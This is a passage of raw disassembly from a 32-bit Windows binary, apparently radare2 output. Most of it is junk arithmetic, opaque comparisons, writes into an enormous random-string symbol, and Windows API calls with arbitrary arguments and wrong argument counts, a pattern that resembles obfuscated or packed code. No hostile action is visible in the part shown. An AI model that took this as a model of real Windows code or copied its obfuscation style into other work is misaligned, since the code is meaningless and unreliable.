QebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], ecx
mov eax, dword [0x51a8b8]
sub eax, 0x173ac
push eax
mov ecx, dword [ebp - 0xc]
add ecx, 0x46f9
push ecx
mov edx, dword [0x51a870]
sub edx, 0x9182
push edx
call fcn.00410ac0
add esp, 0xc
mov dword [ebp - 0xe4], 0
jmp 0x421308
mov eax, dword [ebp - 0xe4]
add eax, 1
mov dword [ebp - 0xe4], eax
mov ecx, dword [ebp - 0x30]
sub ecx, 0xc75c
cmp dword [ebp - 0xe4], ecx
jge 0x42133e
mov edx, dword [0x51a8bc]
sub edx, 1
mov dword [0x51a8bc], edx
mov eax, dword [ebp - 0x5c]
xor eax, dword [0x51a8bc]
je 0x42133c
mov ecx, dword [ebp - 0x48]
sub ecx, 1
mov dword [ebp - 0x48], ecx
jmp 0x4212f9
mov edx, dword [ebp + 0x14]
or edx, 0x4327
xor edx, 0x745186d1
mov eax, dword [ebp + 0xc]
add eax, 0x9ae8
and eax, 0xb9a
and eax, 0x3ece
xor eax, 0x7bc
mov dword [eax + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], edx
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp + 0x10]
and edx, 0x1664d
or edx, 0x5f50
xor edx, 0x704e331b
mov eax, dword [ebp + 0x20]
add eax, 0xdfd3
xor eax, 0x129e7
mov dword [eax + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], edx
mov ecx, dword [0x51a8b8]
mov dword [ebp - 0x140c], ecx
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x1410], edx
mov eax, dword [ebp - 0x28]
sub eax, 1
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x140c]
cmp ecx, dword [ebp - 0x1410]
jge 0x4213d3
mov dword [ebp - 0x6d8], 1
jmp 0x4213dd
mov dword [ebp - 0x6d8], 0
mov edx, dword [ebp - 0x40]
cmp edx, dword [0x51a870]
jge 0x4213f4
mov dword [ebp - 0x6dc], 1
jmp 0x4213fe
mov dword [ebp - 0x6dc], 0
mov eax, dword [ebp - 0x58]
xor eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x6d8]
and ecx, dword [0x51a87c]
xor ecx, dword [ebp - 0x6dc]
or eax, ecx
mov dword [ebp - 0x1414], eax
mov edx, dword [0x51a87c]
sub edx, 1
mov dword [0x51a87c], edx
cmp dword [ebp - 0x1414], 0
je 0x42145d
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x4c]
jne 0x42145d
mov ecx, dword [ebp - 0x20]
cmp ecx, dword [ebp - 0x54]
jne 0x42145d
push 0x113b
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
add esp, 4
mov edx, dword [ebp - 0x5c]
add edx, 1
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp + 0xc]
xor eax, 0x5f08
xor eax, 0x586ca555
mov ecx, 0xe424
sub ecx, dword [ebp + 0x10]
sub ecx, 0xf2f
and ecx, 0x64ad
xor ecx, 0x6651
mov dword [ecx + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], eax
mov dword [ebp - 0xe8], 0
jmp 0x4214a5
mov edx, dword [ebp - 0xe8]
add edx, 1
mov dword [ebp - 0xe8], edx
mov eax, dword [ebp - 0x38]
sub eax, 0xa7b0
cmp dword [ebp - 0xe8], eax
jge 0x4214c6
mov ecx, dword [0x51a8a8]
add ecx, 1
mov dword [0x51a8a8], ecx
jmp 0x421496
mov edx, 0xc610
sub edx, dword [ebp + 0xc]
xor edx, 0xdfee
xor edx, 0x7872956a
mov eax, dword [ebp + 0x20]
xor eax, 0xdf03
xor eax, 0x94b3
mov dword [eax + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], edx
mov dword [ebp - 0xec], 0
jmp 0x421508
mov ecx, dword [ebp - 0xec]
add ecx, 1
mov dword [ebp - 0xec], ecx
mov edx, dword [ebp - 0x18]
sub edx, 0x17b7f
cmp dword [ebp - 0xec], edx
jge 0x421697
mov eax, dword [0x51a8bc]
cmp eax, dword [0x51a8cc]
jge 0x421692
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 0x5c]
jne 0x421692
mov edx, dword [ebp - 0x1c]
cmp edx, dword [ebp - 0x14]
jne 0x421692
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x28]
jne 0x421692
mov ecx, dword [ebp - 0x28]
cmp ecx, dword [ebp - 0x30]
jge 0x421566
mov dword [ebp - 0x6e8], 1
jmp 0x421570
mov dword [ebp - 0x6e8], 0
mov edx, dword [ebp - 0x5c]
and edx, dword [0x51a8a8]
cmp edx, dword [ebp - 0x14]
jge 0x42158a
mov dword [ebp - 0x6e0], 1
jmp 0x421594
mov dword [ebp - 0x6e0], 0
mov eax, dword [ebp - 0x58]
sub eax, 1
mov dword [ebp - 0x58], eax
mov ecx, dword [0x51a86c]
sub ecx, dword [ebp - 0x58]
cmp ecx, dword [ebp - 0x38]
jge 0x4215b7
mov dword [ebp - 0x6e4], 1
jmp 0x4215c1
mov dword [ebp - 0x6e4], 0
mov edx, dword [ebp - 0x6e0]
and edx, dword [ebp - 0x6e4]
or edx, dword [ebp - 0x6e8]
je 0x421692
mov eax, dword [ebp - 0x58]
cmp eax, dword [ebp - 0x44]
jge 0x4215ed
mov dword [ebp - 0x6ec], 1
jmp 0x4215f7
mov dword [ebp - 0x6ec], 0
mov ecx, dword [0x51a880]
cmp ecx, dword [0x51a870]
jge 0x421611
mov dword [ebp - 0x6f0], 1
jmp 0x42161b
mov dword [ebp - 0x6f0], 0
mov edx, dword [ebp - 0x6ec]
or edx, dword [ebp - 0x6f0]
je 0x42167a
mov eax, dword [ebp - 0x50]
cmp eax, dword [0x51a85c]
jne 0x42167a
mov ecx, dword [ebp - 8]
cmp ecx, dword [0x51a86c]
jne 0x42167a
push 0x11531
push 0x246b
push 0xfa1e
push 0x5853
push 0xfc0
push 0xb31
push 0xc6cf
call dword [sym.imp.KERNEL32.dll_HeapFree]
add esp, 0x1c
mov edx, dword [0x51a8c4]
sub edx, 1
mov dword [0x51a8c4], edx
push 0x99f3
push 0x9bfb
push 0x2cfb
call dword [sym.imp.KERNEL32.dll_UnregisterWaitEx]
add esp, 0xc
jmp 0x4214f9
mov eax, 0xa511
sub eax, dword [ebp + 0x18]
xor eax, 0xa8bb8a3e
mov ecx, dword [ebp + 0x10]
xor ecx, 0x572d
add ecx, 0x128bf
xor ecx, 0x12b72
mov dword [ecx + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], eax
mov edx, dword [ebp - 0xc]
xor edx, dword [ebp - 0x2c]
mov dword [ebp - 0x1418], edx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x141c], eax
mov ecx, dword [ebp - 0xc]
sub ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x1418]
cmp edx, dword [ebp - 0x141c]
jge 0x4216f7
mov dword [ebp - 0x6f8], 1
jmp 0x421701
mov dword [ebp - 0x6f8], 0
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x18]
jge 0x421715
mov dword [ebp - 0x6f4], 1
jmp 0x42171f
mov dword [ebp - 0x6f4], 0
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [0x51a87c]
jge 0x421736
mov dword [ebp - 0x6fc], 1
jmp 0x421740
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x10]
xor edx, dword [ebp - 0x6f4]
or edx, dword [ebp - 0x6f8]
or edx, dword [ebp - 0x6fc]
je 0x421760
mov eax, dword [ebp - 0x60]
add eax, 1
mov dword [ebp - 0x60], eax
mov ecx, dword [ebp - 0x10]
sub ecx, dword [0x51a86c]
cmp ecx, dword [0x51a85c]
jge 0x42177d
mov dword [ebp - 0x700], 1
jmp 0x421787
mov dword [ebp - 0x700], 0
mov edx, dword [0x51a878]
add edx, 1
mov dword [0x51a878], edx
mov eax, dword [ebp - 0x58]
cmp eax, dword [0x51a878]
jge 0x4217ad
mov dword [ebp - 0x704], 1
jmp 0x4217b7
mov dword [ebp - 0x704], 0
mov ecx, dword [ebp - 0x700]
and ecx, dword [ebp - 0x20]
mov edx, dword [0x51a8bc]
and edx, dword [ebp - 0x704]
or ecx, edx
je 0x42184f
mov eax, dword [ebp - 0xc]
cmp eax, dword [0x51a874]
jge 0x4217e7
mov dword [ebp - 0x708], 1
jmp 0x4217f1
mov dword [ebp - 0x708], 0
mov ecx, dword [0x51a86c]
imul ecx, dword [ebp - 8]
or ecx, dword [ebp - 0x708]
je 0x42184f
mov edx, dword [ebp - 0x44]
cmp edx, dword [0x51a8c0]
jne 0x42184f
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x54]
jne 0x42184f
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [0x51a8cc]
jne 0x42184f
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 0x4c]
jne 0x42184f
mov eax, dword [0x51a884]
cmp eax, dword [ebp - 0x24]
jne 0x42184f
mov ecx, dword [ebp - 0x10]
sub ecx, 1
mov dword [ebp - 0x10], ecx
push 0x15cdc
push 0x9e4f
call dword [sym.imp.ADVAPI32.dll_RegUnLoadKeyW]
add esp, 8
mov edx, dword [ebp - 0x20]
add edx, 0x187c
push edx
mov eax, dword [0x51a870]
sub eax, 0x665c
push eax
mov ecx, dword [ebp - 0x18]
sub ecx, 0x4972
push ecx
mov edx, dword [0x51a8c0]
add edx, 0x5b5f
push edx
call fcn.00405d10
add esp, 0x10
mov eax, 0x537e
sub eax, dword [ebp + 8]
xor eax, 0xb8b601ac
mov ecx, 0xfc6f
sub ecx, dword [ebp + 0x14]
xor ecx, 0x6714
